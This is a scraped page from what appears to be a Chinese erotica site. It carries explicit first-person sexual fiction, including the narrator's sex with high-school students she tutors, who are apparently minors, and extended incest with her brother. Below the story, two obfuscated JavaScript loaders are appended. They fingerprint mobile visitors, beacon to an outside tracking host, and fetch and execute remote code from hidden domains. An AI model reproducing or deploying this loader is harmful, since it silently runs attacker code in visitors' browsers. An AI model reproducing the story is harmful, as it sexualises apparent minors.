淫靡的液体从我蜜穴里不断地流出,更多的蜜液是被他的抽出一起带出来,

处男的肉棒与花穴壁的摩擦所引起的刺激酥麻,让我们两人的快感不断累积,

我胸前的嫩乳也随着他冲撞的力道而不断地晃动,花穴里的媚肉在他的进出摩挲下,开始剧烈地痉挛、用力咬紧,

我开始疯狂地摆动着娇臀,小穴更用力地紧缩,最后伴随着一声尖叫,我达到了欢愉的顶点。

男孩也勐烈地挺动着,他注视着我那窄小的小穴,阳具上布满了我甜美的蜜液,

好一会儿后,才狠狠地挤入我的身体最深处,释放出滚烫的精华。

[噢耶!我成功了!我成功地吃了一个小处男!] 我娇喘着,口中兴奋地呢喃。

我的小穴紧紧地咬住他的龟头,把那灼热的精液全部吞进身体深处。

那晚过后,我和补习班的一些高中生弟弟之间,就存在了一种特殊的亲密关系。

原本,对他们来说,我就是个年轻漂亮的小老师、大姐姐,他们常常都会和我聊天,不然就是送一些小礼物、小点心给我,

我也明白少男情怀总是诗,男人的心理我太清楚了,所以我在这些小小爱慕者中,挑一些自己也喜欢的发生关系,

老实说,以我的姿色要带他们去上床太容易了,男人嘛,不分年纪,总是用下半身思考,

俨然我就成为这些高中生的杀手,让他们把我当成女神一样的看待。

五年,我从一个十九岁的少女,变成一个二十四岁的女人,只因为初恋的伤痛,让我这五年来玩遍了各式各样的男人。对于性,我已经麻木,几乎没什么刺激感可言。

那是一个无趣的周末,对于没有男朋友的人来说,最好的打发时间方式就是租个恐怖片回家看!

正巧那天爸妈出远门没回家,只剩我和当兵休假的弟弟在家。

客厅里,我和弟弟紧靠在一起,看着眼前闪动的萤幕,突如其来的鬼片音效吓得我依偎在弟弟胸膛,

我紧抓着他强壮的手臂,双腿也卷曲到了沙发上,这样的时间大约过了20分钟左右,慢慢地恐怖情绪稍稍和缓,

而我却眼尖的发现,弟弟的表情相当不自在。

[天哪!不会吧?!]

我突然想起了某些找我援交的客人曾说:

[他们对自己的亲人,例如:姐姐、妹妹、女儿的,都存在着一些遐想]

所以在和我上床的时候,常常会要求我扮演他们幻想的角色,

难道说,难道说,难道说我弟弟也这样吗?

该不会,该不会,该不会也对我这姐姐产生坏念头吧?哈,这事似乎相当有趣,我干脆来逗逗我这笨弟弟吧!我继续依偎在他怀里,正当电影剧情没那么精采时,我窃笑着澹澹地说了一句: [小鬼!看电影就看电影,干嘛一直盯着我看?]

[啊?] 我弟弟愣了下,脸上扬起一个大大的笑容,这下子反而更不客气地去打量我。

[因为你漂亮啊!满意吗?] 他大胆地一手搂住我的肩,长着厚茧的手在我细嫩的手臂上来回抚摸。

我咳了声,想不到这小子连自己亲姐的豆腐也吃!看来我那些客人会要求我玩角色扮演不是没有道理的!我咬着下唇,仰起头,手掌轻轻地打了他一下: [你喔!连自己姐姐都敢开玩笑!]

他叹了口气,[唉,,,当兵闷嘛!]

忽然间,他将头埋在我的颈间,在我来不及思考的时候以唇轻啄我的细颈,又贪婪不知足地吸吮起来。

[啊!小鬼!你干嘛啊!]

[姐,你好香喔!]

[痒啊,,,啊!你又在挠我痒!]

我不知道自己为什么会反应不过来,完全没意识到自己此时处在什么境地,反而还跟弟弟嘻笑打闹着,

他的大掌隔着衣服在我小腹处来回抚摸,只凭着掌心的热度就已经令我颤抖起来。

我柔亮的秀发贴着弟弟的脸庞,我忍不住拱起身子,扭着纤腰,闪躲着弟弟的亲吻,

[啊!好痒啊!啊!痒啊!] 我用手挡着弟弟那张俊颜,弟弟拉开我的手,噙着邪邪的俊笑,说道:[姐,这礼拜葳葳没有陪我,你帮我好吗?]

(葳葳是我弟交往一年多的女友)

我闻言睁大了眼,在还来不及有所反应前,他的唇已经贴上我的嘴,堵住了我的话语。

看来弟弟很清楚什么叫“直捣黄龙,不让敌人有喘息的空间”,

因此一吻上我柔软无比的嫩唇,他的舌尖立即强悍地探入我的小嘴里,

牢牢的勾缠住我那躲无可躲的微颤小舌,似诉情、似挑逗,缠绵且霸道的吮吻着。

强势又灼热的吻,让我这姐姐完全没有喘息的空间,他吻得我唿吸急促,吻得我脑子昏热,

我挂在他手臂上的小手,没有推开使坏的男人,反而紧紧抓着,深陷在那令人迷炫的激烈热吻里。

[天哪!怎么会这样!]

感觉我的表情似乎终于有了一丝动容,弟弟立刻把身上的衣服脱掉,露出男人精壮的身躯,

一双黑白分明的大眼认真地看着我,他诚恳地询问着:[姐,让我上你好吗?]

[开,,,开,,,开什么玩笑!] 我反射性虚弱地回应。

接着,弟弟抚摸着我的大腿内侧,恋恋不舍地步步游移,直到触摸到我腿间花瓣处那一抹湿润,

他指尖在那花缝处来回,慢慢地让那湿润的爱液沾湿自己的手指。

[姐,你这里湿湿的哦。] 他哑笑。

[嗯,,,啊,,,小鬼!不要摸那!]

他手指摸着我花缝间那蜜泉的出处,邪邪地笑道: [不要?不要你会湿成这样吗?姐!]

[臭小鬼!嗯,,,啊,,,你,,,]

我羞得想逃,可身体不由自己控制,在弟弟的挑逗中变得越来越无力,越来越酥软。

[姐,何不跟我试试看?] 他手指按我紧闭的粉红花穴,轻轻按压。

[啊!不行!在这样下去我一定会失身!] 我心想。我强忍着自己身上的快感,扳起脸孔皱眉对他说: [弟,,,我们真的不可以!]

那是我的最后一丝理智!

纵使和再多男人上床,但对于让弟弟插进我体内这事,我还是无法接受。

我强硬地站起身,可被弟弟拉住了手,这下他以悲情攻势要我这姐姐替他口交就好。

[姐,,,别这样,,,不跟我上床,,,你好歹替我打出来,,,好嘛!求你啦!姐!]

老实说,刚刚我的欲火也被他挑起了,经不过他的苦苦哀求,我心软了,

我说: [那,,,到我房间好了,,,在客厅好怪!]听我这么说,弟弟笑得好生灿烂,马上搭着我的肩推我入房。

接着,我俩坐上床沿,柔软的床铺立即凹陷,

弟弟快速地脱下自己的内裤,随性地丢至床头,嘴角微微牵起一道阴邪弧度,向着身旁的我勾勾手指,

他指向自己翘得半天高的阳具对我说: [姐!快啊!好难受了!快帮我!]

我像被催眠似地,眸子蒙上一层迷离水光,把头发挽了起来,低下头缓缓向他阳具靠近。

我的手伸到了我弟的双腿间去,轻轻的握住了那胀硬的柱体,

[哇塞,好烫!好硬啊!] 我心里惊唿。

我用大拇指抵住了龟头下缘的敏感线,来回搓动了几下,然后捏了捏他的龟头,龟头前端马上被我挤出了些许透明黏液,

这下我看傻了眼,虽然不是第一次帮男人打手枪,但却是最禁忌的一次!

抓抓自己的头发,生硬的挤出一个难看的笑容,

我们之间流着同样的血液,这样好嘛?我尴尬地缩了缩肩膀,

正当我还在犹豫之际,弟弟却情不自禁开始触碰我的身体,他的指尖在我内衣肩带处滑行,

[姐!快啊!含进嘴里!] 他挑了挑眉,拇指摩挲他亲姐细嫩的肌肤,

[姐!快啊!舔一下又不会少块肉!也不会怀孕啊!姐!]我弟的声音听来有些沙哑,引诱着我替他口交。

接下来,好像找不到理由僵持下去了,

我抿着薄唇,深吸一口气,慢慢低下头害羞地含住亲生弟弟那硬物,

[噢!姐!嗯,,,姐,,,噢!嗯!好舒服喔!]当我的嘴碰到他龟头时,他的身子像前拱起,滚烫的硬物就抵在我喉咙的深处,

可是我的嘴还是没有完全包裹住它,

我试着把弟弟灼热的龟头含得更深,一阵窒息的感觉,从喉头冒出来。

弟弟很舒服似地眯起眼睛,艰难地吐出六个字:[姐!我好想干你!。]

听见弟弟叫得如此放荡,我脸红得像颗苹果似的制止他:[唉!别叫的那么夸张好吗!我怕给邻居听到!]接着,我用舌尖舔吮着弟弟龟头最敏感的顶端,双手配合着揉捏阳具下的两颗大丸子,

弟弟: [好舒服啊!姐!你感觉像在吃冰淇淋一样,把它当冰棒舔喔?]

听见弟弟讲这不正经的话,我害羞地打了他龟头一下,[再吵,再吵可不帮你含啰!]

弟弟龟头前端分泌出滑腻腻的爱液,我再一次将它没入自己的嘴中,小心翼翼地用嘴唇包裹住硬物,

柔嫩的唇办,像是我的花蕊处湿润的小肉壁,紧紧地夹紧弟弟的阳具。

我的嘴里包裹着亲弟昂扬之物,上上下下,在我嘴里忽而吸吮、忽而交缠,顶着喉咙的最深处,

一缩又一缩的口腔内壁,让满脸通红的弟弟说:[姐,,,我好想干你!]

[不可以!]

[真的不可以?]

[当然不可以!我可是你姐呢!]

对我来说,这个场景好像一下子回到八年前,

八年前我刚和初恋男友交往的时候,因为我是处女,所以迟迟不肯让前男友碰我,

而八年后的今天,同样的话,我却是对我的亲弟弟讲。可是和前男友,我最后还是给了他,而我弟呢?我将来会给他嘛?我自己也不清楚。

[姐,我躺着,你坐上来,用你下体磨好嘛?]

[为什么要这样?] 我疑惑地问。

弟弟坏坏地笑了笑: [让我过过干瘾嘛!不能真的干你,也想看你在我身上发浪的样子啊!]

[发浪勒!欠揍啊你!臭小鬼!] 我狠狠地瞪了他一眼,最后忍不住笑了出来,心情到放松了不少。

其实经过这一连串的调情,我的小穴也骚痒难耐,但为了让弟弟守规矩,我依旧威胁道:

[假如你让龟头进到我体内,那以后我绝对不帮你打手枪!绝对!]

我相信这个时候,任何男人都不会拒绝这个要求的,总之他们都会先达到目的在说!

所以我弟也一样,他豪爽地答应了,马上躺平在我床上,见他还算听话地模样,我一脚跨过了他的身体,将小穴口贴在弟弟子孙袋上,

接着用手指套弄着他的阳具,真的好硬,好大啊!想不到从小一起长大的弟弟有着那么雄伟的阳具,[嗯,,,嗯,,,] 我来回扭动,让自己小穴口摩蹭弟弟子孙袋上的皱皮,

皮上的皱褶搔得我小穴好痒,好痒!

因为情欲,阴道内分泌出大量的淫液沾湿弟弟的皱皮,[老天!为什么你是我弟弟!?] 我心想。

体内阵阵空虚感,让我多么想用小穴夹弟弟的阳具,[嗯,,,嗯,,,好舒服喔姐!] 他忘情地喊出口。[嗯,,,嗯,,,我也很舒服,弟弟!] 可我不敢像他那样喊出口,只敢内心想着这些难为情的话。

我俩的体温,不断从下体烫着对方,

[姐,,,我的肉棒,,,我的肉棒好想进到你身体里!]这么露骨的挑逗,令我听得面红耳赤,但说的人却表情自然,一副天经地义的模样,一点也不害噪!

[不,,,不可能!] 我背着想法,抿起唇道。[嗯,,,嗯,,,姐,,,你前面的头发有点乱。][真的吗?] 我摸着前额的头发,心想: [那么激烈的动作能不乱吗?]

[你趴下来,我帮你弄好。] 他伸手抚上我的头。[嗯。]

在我那张娇美俏颜低下时,弟弟不客气的在我红嫩唇瓣上大大啵了下,然后露出闪亮笑容。

[好了,没问题了,你看起来非常的漂亮。]

微红着脸,我没好气的白了他一眼,知道自己又被他给捉弄了。

于是,我不甘示弱地抓起他的龟头,

接着用指甲轻轻刮他的龟头前端,

一个瞬间,弟弟叫了好大一声: [啊!姐!这太狠了!]在那瞬间他的心脏急缩,迎来了比他想象中更加剧烈地绞痛,

[你看上去很难过的样子,不要紧吧?] 我觉得他的表情相当好笑,继续套弄着他的下体。

弟弟摇摇头,看着我说︰[那我来了。]

[噢!噢!噢!啊!] 他忽然低吼一声。

我感觉手里一阵滚烫发涨,刚朝弟弟阳具看去,它的顶端马上便喷发出乳白色稠液。

弟弟虚弱地伸了伸腿,一声满足的叹息:[啊,,,]着弟弟极致的高潮褪去,阴茎在我手里渐渐软化,老实说,我有多么羡慕,因为我体内的酸痒感还没有得到满足。

高潮后的弟弟躺在我的床上好半晌,直到平息身上的欲火后,他才动起手来清理,

我俩就这样光着身体,穿梭在浴室和我房间内清洗、整理。关掉热水,他倒出我锺爱的沐浴露,细细地在我身上抹出泡沫,任何小地方都没放过,

大掌在滑过我双腿间时,更是暧昧地多停留了一会。我整张脸都红透了,看着我红苹果般的面容,弟弟得意地笑着:

[谢谢姐姐!让我好舒服!]

替我冲净后,擦干干了身体,他才开始清洗自己。回到房间以后,锁上门,我不断想着今天的画面,[呿,,,一点都没得到满足!] 我躲在房间微微抗议。所以我再次脱下身上的衣物,趴在床上,恣意挑弄着自己身上的敏感之处,

一手搓揉抚弄着自己胸前,另一手将指尖从覆盖着细毛的三角处挤了进去,轻轻勾探着蜜处,

尽其所能地令自己燃烧,

[嗯,,,嗯,,,啊,,,啊,,,噢!]

我娇喘着、颤动着,我将手指塞进自己的小穴里前后抠弄。我恨自己的自制力,刚刚和弟弟擦枪走火的话,不就不会那么懊恼?

[嗯,,,嗯,,,啊,,,老天,,,我小穴里像有上万只蚂蚁在爬!痒极了!]

手指搔不到阴道深处的痒,

只有弟弟的阳具才够长。

手指填满不了阴道的空虚,

只有弟弟的阳具才够粗。

我的身上就像点着了火种般,热情的火焰遍燃全身,那激烈的快感让我难以承受,渴望搔弄小穴的动作能让自己稍微好过一些。

没办法了,我受不了了!我需要男人!

这时候的我,强烈的需要男人!

性欲,就像澎湃激起的浪涛,勐烈地拍击着我的心,一波接着一波,不断席卷而来,

说到底,我还是想和弟弟上床!

可是,我们之间,假如掺入了肉体关系,未来会变怎样?但我现在确实很需要他满足我,所以我放下了伦理,放下了道德。

我纤细身影正迟疑的接近弟弟房间。

昏暗的灯光下,我白皙的脸庞,瞳眸中闪着一丝期待与害怕。

我来到弟弟房门前,紧张地敲了敲房门。

[是我。]

看到弟弟开门,我的紧张程度似乎又加深了几分。可是,这是我所做的决定,容不得自己反悔﹗

[姐,有什么事吗?]

[小鬼,,,你,,,你那还有保险套嘛?] 我无法克制自己的紧张,连声音都不由自主的颤抖。

[有啊!你要干嘛?] 弟弟的眼里闪着好奇的神色。我没回答他,继续问到:

[那,,,小鬼,,,你,,,你,,,你还有体力吗?]我不断告诉自己这么做不会伤害任何人,我和弟弟只是做个运动而已,只是如此﹗

弟弟似乎明白我想做什么,他笑得贼贼,故意说到: [体力要多少有多少,姐想干嘛啊?]

[那,,,那,,,保,,,保险套戴起来,,,上,,,上我!]

我通红的脸上闪过坚定的光芒,咬紧嘴唇,一脚跨进他房间,迈向一条肉体与情感的不归路。

深夜。

我亲生弟弟的房内,做为姐姐的我躺在床上,一丝压抑的娇吟逸出。

[呃啊!嗯!弟!]

我难以置信地瞪大了眼,撕裂般的痛楚让我觉得好舒服![老天!爸妈怎么把你的阳具生得那么大!] 我心想。肌理强健的双手,抓住我纤细的腕,如疆绳般驱策着胯下的姐姐我,

我的身体欢迎着那入侵的巨大异物,一下下痉挛着。[呃啊!嗯,,,嗯,,,呃啊!]

肉体拍打的声音在房间里,清晰而有节奏地响着。[噢!姐!你好紧!]

[啪,,,啪,,,啪,,,]

[嗯,,,嗯,,,啊,,,啊,,,嗯,,,][噢!姐!你夹得我超爽!]

柔软的棉被凌乱不堪,弟弟釉黑的皮肤衬托着我无与伦比的雪白娇躯,

虽然我心理怀着罪恶感,但是因为弟弟的阳具插得我神昏颠倒,

所以我让他通红涨大的肉棒紧紧地顶在我的性爱森林里,享受我包覆的快感。

[嗯,,,嗯,,,再来!嗯,,,嗯,,,弟!]我呻吟的声音魅惑而勾人,让弟弟激出更多的欲火,[姐!你超正的!]

我的手指紧紧抓着被褥,花壁开始紧缩,痉挛的快感从深处涌出。

紧窒的阴道壁不停压挤着弟弟坚硬的肉棒,知道我已快到高潮,他缓缓退出再一个用力捣入。

[呃啊……] 我全身紧绷,极度的快感让我大声尖叫,一股热流从小穴急喷而出,

我软下身体,气喘吁吁,而身上的弟弟还在狂野冲刺着,虽然已经累到不行,我还是本能地抬起雪臀迎合着他。[噢!姐!你的穴操起来超爽!噢呜,,,] 弟弟发出浪叫,更快速地不停抽插他姐。

[嗯,,,嗯,,,弟,,,你体力,,,你体力怎么那么好,,,嗯,,,]

在他加重撞击力道,深勐的贯穿之下,我几乎承受不,不绝于耳的娇吟从我那张薄而柔软的唇吐出,

迷濛的眼半眯,看着眼前的男人,我湿淋淋的爱液不断流淌,沾湿了被褥。

大约又过了五分钟,身上的弟弟总算发出一声野兽般的低吼,

[啊!!! 姐!!!]

他狠狠捣入我体内几下,然后一个上顶,再快速抽出,灼热的精液瞬间喷洒而出,

就在射精的当下,他也拿掉了阳具上的保险套,就让滚烫的精液喷满了我的腹部。

我无力躺着,喘息依旧,弟弟一手拉着我的小腿,享受着射精后的馀韵,

另一手挤了挤自己龟头,让精液一滴不剩沾染我的皮肤,[姐,,,你好美!穴好紧!跟你上床真爽!]

[该死的小鬼!] 抿紧唇,我一个二十四岁的女人,以我的姿色,要什么男人没有,

今天偏偏只能栽在亲弟弟的手里,

累极了,我不愿再想,

失神地看着他起身走向浴室,拿来润湿的浴巾帮我擦掉身上他留下的痕迹,

我慵懒地搂着被子闭上眼,红润的薄唇抿着,耷拉着眼皮沉沉睡在弟弟的房间。

不知道睡了多久,迷濛中感觉身边的弟弟相当不安分,我缓缓地睁开眼,就看见他坏坏地勾唇,戴上套子后,没有片刻迟疑又挺进我的花心深处,

充实的满足感让我的身躯再次升起一片热潮,

他强悍地挺进抽送,一次比一次更加的强烈,阵阵电流让我虚软昏眩。

我紧绷着、蜷曲着,不由自主地抬高双腿圈住他的腰,迎合着他的动作,配合他的节奏,共谱着情色的肢体乐章。

就在他当兵放假的两天,我被缠了整整两天一夜,我的身躯跟他十分的契合,让他舍不得离开!

直到弟弟回部队的晚上,已经是筋疲力竭、精力用尽。我已经分不清我们到底做了几次,他的姿势繁不胜数,他的体力胜过我不知多少倍,我完全投降。

好疯狂好激烈的黑夜!

好纵情好温存的白画!

男女间的情欲能够这么的激情,搭配得这么完美,我头一次经历。

从那次起,我的身体已经让弟弟深深刻刻的迷恋,每当放假他就会找我上床,而这样子让他予取予求,究竟是对还是错?

唉……算了!不想多想了!

反正,保险套戴着,防止闹出人命。

做爱,谁不喜欢?有戴套、当运动就好!

可是,在我安全期的时候,有时我还是会让他内射在我体内。

那,又是另一种刺激感。


上一篇:森之千手(06)

下一篇:淫妻的性福时光(07)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};